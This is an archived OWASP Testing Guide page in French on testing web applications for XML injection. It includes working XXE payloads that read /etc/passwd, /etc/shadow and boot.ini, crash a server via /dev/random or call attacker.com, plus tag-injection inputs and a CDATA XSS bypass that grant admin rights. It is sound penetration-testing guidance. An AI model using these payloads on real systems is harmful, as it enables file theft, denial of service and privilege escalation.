This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
4.8.8 Tester les injections XML (OTG-INPVAL-008)
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project
Sommaire
Les tests d'injection XML consistent à essayer d'injecter un document XML dans l'application. Si l'analyseur XML ne valide pas correctement les données, ce test sera positif.
Cettee setion présente des exemples pratiques d'injections XML. Tout d'abord, nous allons définir un style de communication XML et en expliquer les principes de fonctionnement. Puis nous allons présenter la méthode de découverte pour injecter des méta-caractères XML. Après cette première étape, le testeur aura quelques informations sur la structure XML, et pourra donc essayer d'injecter des données et balises XML (injection de balises).
Comment tester
Supposons qu'une application web utilise une communication de type XML pour procéder à l'enregistrement d'utilisateurs. Cela se fait en créant et ajoutant un nouveau noeud <user> dans un fichier xmlDb.
Supposons que ce fichier xmlDB ressemble à ce qui suit :
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> </users>
Lorsqu'un utilisateur s'inscrit lui-même en renseignant un formulaire HTML, l'application reçoit les entrées de l'utilisateur dans une requête standard. Pour des raisons de simplicité, supposons que cette requête est en GET.
Par exemple, les valeurs suivantes :
Username: tony Password: Un6R34kb!e E-mail: [email protected]
vont produire la requête :
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&[email protected]
L'application construit ensuite le noeud suivant :
<user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user>
qui va être ajouté au fichier xmlDb :
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> </users>
Découverte
La première étape pour tester la présence de vulnérabilités d'injections XML dans une application consiste à essayer d'insérer des méta-caractères XML.
Les méta-caractères XML sont :
- Simple quote : ' - Quand il n'est pas nettoyé, ce caractère peut déclencher une exception pendant l'analyse XML, si la valeur injectée est destinée à faire partie d'une valeur d'attribut d'une balise.
Par exemple, supposons l'attribut suivant :
<node attrib='$inputValue'/>
Donc si:
inputValue = foo'
est instantié et ensuite inséré dans la valeur d'attrib :
<node attrib='foo''/>
alors, le document XML résultant ne sera pas bien formé.
- Double quote : " - ce caractère a la même signification que la simple quote et peut être utilisé si l'attribut est entouré de doubles quotes.
<node attrib="$inputValue"/>
Donc si :
$inputValue = foo"
la substitution donne:
<node attrib="foo""/>
ce qui résulte en un document XML invalide.
- Chevrons : > and < - En ajoutant un chevron ouvrant ou fermant dans une entrée utilisateur comme suit :
Username = foo<
l'application va construire le nouveau noeud :
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
mais du fait de la présence du chevron ouvrant '<', le document XML résultant est invalide.
- Balise de commentaire: <!--/--> - Cette séquence de caractères est interprêtée comme le début ou la fin d'un commentaire. Donc en injectant l'une d'elle dans le paramètre Username :
Username = foo<!--
l'application va construire le noeud suivant :
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
qui ne sera pas une séquence XML valide.
- esperluette : & - L'esperluette est utilisée dans la syntaxe XML pour représenter les entités. Le format d'une entité est '&symbole;'. Une entité est mise en correspondance avec un caractère Unicode.
Par exemple :
<tagnode><</tagnode>
est bien formé et valide, et représente le caractère ASCII '<'.
Si '&' n'est pas lui-même encodé avec &, il peut être utilisé pour tester une injection XML.
Dans les faits, si une telle entrée est fournie :
Username = &foo
un nouveau noeud va être créé :
<user> <username>&foo</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user>
Mais une fois de plus, le document n'est pas valide : &foo n'est pas terminé par ';' l'entité &foo; est indéfinie.
- Les délimiteurs de section CDATA : <![CDATA[ / ]]> - Les sections CDATA sont utilisées pour échapper des blocks de texte contenant des caractères qui autrement seraient reconnus comme des balises. En d'autres mots, les caractères d'une section CDATA ne sont pas analysés par l'analyseur XML.
Par exemple, nous avons besoin de représenter la chaîne '<foo>' dans un noeud texte, une section CDATA peut être utilisée :
<node>
<![CDATA[<foo>]]>
</node>
de telle manière '<foo>' ne sera pas analysé comme une balise et sera considérée comme des données caractères.
Si un noeud est construit de la manière suivante :
<username><![CDATA[<$userName]]></username>
le testeur peut essayer d'injecter une chaîne de fin de CDATA ']]>' afin de rendre le document XML invalide.
userName = ]]>
qui va devenir :
<username><![CDATA[]]>]]></username>
qui n'est pas un fragment XML valide.
Un autre test peut être fait sur les balises CDATA. Supposons que le codument XML est traité pour générer une page HTML. Dans ce cas, les délimiteurs de section CDATA pourraient être simplement supprimés sans autre inspection de leur contenu. Ainsi, il est possible d'injecter les balises HTML qui seront incluses dans la page générée, contournant complétement les routines de validation.
Voyons un exemple concret. Supposons que nous ayons un noeud contenant du texte qui sera affiché :
<html> $HTMLCode </html>
Alors un attaquant peut fournir l'entrée suivante :
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
et obtenir le noeud suivant :
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
Pendant le traitement, les délimiteurs de la section CDATA sont supprimés, pour générer le code HTML suivant :
<script>alert('XSS')</script>
Le résultat est que l'application est vulnérable aux XSS.
Entités externes :
L'ensemble des entités valides peut être étendu en définissant de nouvelles entités. Si la définition d'une entité est une URI, c'est une entité dite externe. Si l'analyseur n'est pas configuré autrement, les entités externes le forcent à accéder à la ressource spécifiée par l'URI (fichier local ou distant). Ce comportement expose l'application aux attaques XXE (attaques XML eXternal Entity), qui peuvent être utilisées pour causer des dénis de service sur le système local, pour obtenir un accès non-autorisé à des fichiers sur la machine locale, pour scanner des machines distantes, et pour causer des dénis de service sur des systèmes distants.
Pour tester les vulnérabilités XXE, on peut utiliser l'entrée suivante :
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Ce test va faire planter le serveur web (sur un système UNIX), si l'analyseur XML tente de substituer l'entité avec le contenu du fichier /dev/random.
D'autres tests utiles :
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Injections de balises
Une fois que la première étape est accomplie, le testeur possède quelques informations sur la structure du document XML. Il va ensuite pouvoir essayer d'injecter des données et balises XML. L'exemple suivant décrit une attaque d'escalade de privilèges.
Considérons l'application vue précédemment. En insérant les valeurs suivantes :
Username: tony Password: Un6R34kb!e E-mail: [email protected]</mail><userid>0</userid><mail>[email protected]
l'application va construire un nouveau noeud et l'ajouter à la base de données XML :
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail> </user> </users>
Le fichier XML résultant est bien formé. De plus, il est probable que, pour l'utilisateur tony, la valeur associée à la balise userid soit celle qui apparît en dernier, c'est-à-dire 0 (l'ID de l'administrateur). En d'autres mots, nous avons injecté un utilisateur avec les privilèges d'administration.
Le seul problème est que la balise userid apparaît deux fois dans le dernier noeud utilisateur. Souvent les documents XML sont associés à un schéma ou un DTD et sont rejetés s'ils ne les respectent pas.
Supposons que le document XML soit spécifié par le DTD suivant :
<!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]>
Remarquons que le noeud userid est défini avec une cardinalité de 1. Dans ce cas, l'attaque précédente (et d'autres attaques simples) ne fonctionnera pas si le document XML est validé avec son DTD avant que le traitement ait lieu.
Cependant ce problème peut être résolu si le testeur contrôle la valeur des quelques noeuds précédents l'intru (userid dans cet exemple). En fait, le testeur peut commenter un tel noeud, en injectant une séquenc de debut/fin de commentaire :
Username: tony Password: Un6R34kb!e</password><!-- E-mail: --><userid>0</userid><mail>[email protected]
Dans ce cas, la base XML finale sera :
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password><!--</password> <userid>500</userid> <mail>--><userid>0</userid><mail>[email protected]</mail> </user> </users>
Le noeud userid d'origine a été mis en commentaire, ne laissant que le noeud injecté. Ce document respecte maintenant les règles de son DTD.
Outils
- XML Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
Références
Whitepapers
- [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
- Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714
